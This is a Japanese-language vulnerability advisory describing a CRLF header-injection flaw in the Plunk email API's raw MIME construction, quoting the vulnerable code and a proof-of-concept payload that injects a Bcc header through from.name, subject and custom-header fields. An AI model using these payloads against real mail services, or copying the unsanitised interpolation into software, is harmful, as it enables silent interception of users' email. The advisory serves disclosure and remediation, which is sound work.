深刻度: 高 (CVSS 8.5)
CWE: CWE-93 — CRLF シーケンスの不適切な無害化 (「CRLF インジェクション」)
影響範囲: useplunk/plunk <= 0.7.1
修正バージョン: 0.8.0
アドバイザリ: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
クレジット: Romain Deperne
Plunk の POST /v1/send エンドポイントは、ユーザーが指定したフィールド (from.name、subject、カスタムヘッダー、添付ファイル名) を CRLF (\r\n) のサニタイズなしでテンプレート文字列に直接補間することで、生の MIME メールメッセージを構築しています。認証済みの API ユーザーは、Bcc を含む任意のメールヘッダーを注入し、メールのコピーを攻撃者が制御するアドレスに黙って転送させることができます。
私はオープンソースのメール送信プラットフォーム — AWS SES をラップして API を公開するもの — を監査していました。Plunk は SES 上に構築された、SendGrid/Postmark の開発者フレンドリーな代替として位置づけられています。
私の入口は生のメール構築関数でした。rawMessage += や MIME を構築するテンプレートリテラルを見かけるたびに、ユーザー指定のすべてのフィールドが CRLF サニタイズされているかを確認します。SESService.ts では、答えは明らかにノーでした。from.name、subject、カスタムヘッダー、添付ファイル名のすべてが直接補間されていました。
これが悪用可能であることを確信した根拠は、Zod スキーマ (packages/shared/src/schemas/index.ts) に、これらのフィールドのいずれに対しても \r\n を拒否する .regex() や .refine() が存在しなかったことです。スキーマ層でのサニタイズもなく、MIME 構築層でのサニタイズもない — API 入力から注入された MIME ヘッダーまでのクリーンな経路です。
私は 4 つのベクター (from.name、subject、カスタムヘッダー値、添付ファイル名) すべてをテストし、Bcc: インジェクションが機能することを確認しました。検証済みの送信者ドメインを持つ認証済み API ユーザーなら誰でも、送信されるすべてのメールを攻撃者が制御するアドレスに黙ってコピーできます。現実的な攻撃シナリオは、侵害された API キーが永続的なメール傍受に変わることです。
ファイル: apps/api/src/services/SESService.ts、137〜151 行目
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zodスキーマ (packages/shared/src/schemas/index.ts) — CRLF検証なし:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
生の MIME 構築では、ユーザーが指定したすべての値を補間する前に \r\n を除去する必要があります。Plunk はテンプレートリテラルでメッセージを構築しており、4 つの注入可能なフィールドのいずれもサニタイズしていません。SMTP パーサーは \r\n をヘッダー境界として解釈するため、from.name に \r\nBcc: [email protected] を注入すると、送信メッセージに実際の Bcc ヘッダーが追加されます。
4 つのインジェクションベクターを備えた完全なデモンストレーションについては poc.py を参照してください。
コアペイロード — from.name を介した Bcc インジェクション:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
SES が生成する生の MIME:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES は、侵害された API キーを通じて送信されるすべてのメールに、[email protected] 宛てのサイレントコピーを配信します。
その他のインジェクションベクター:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To、Return-Path、Sender ヘッダーの上書き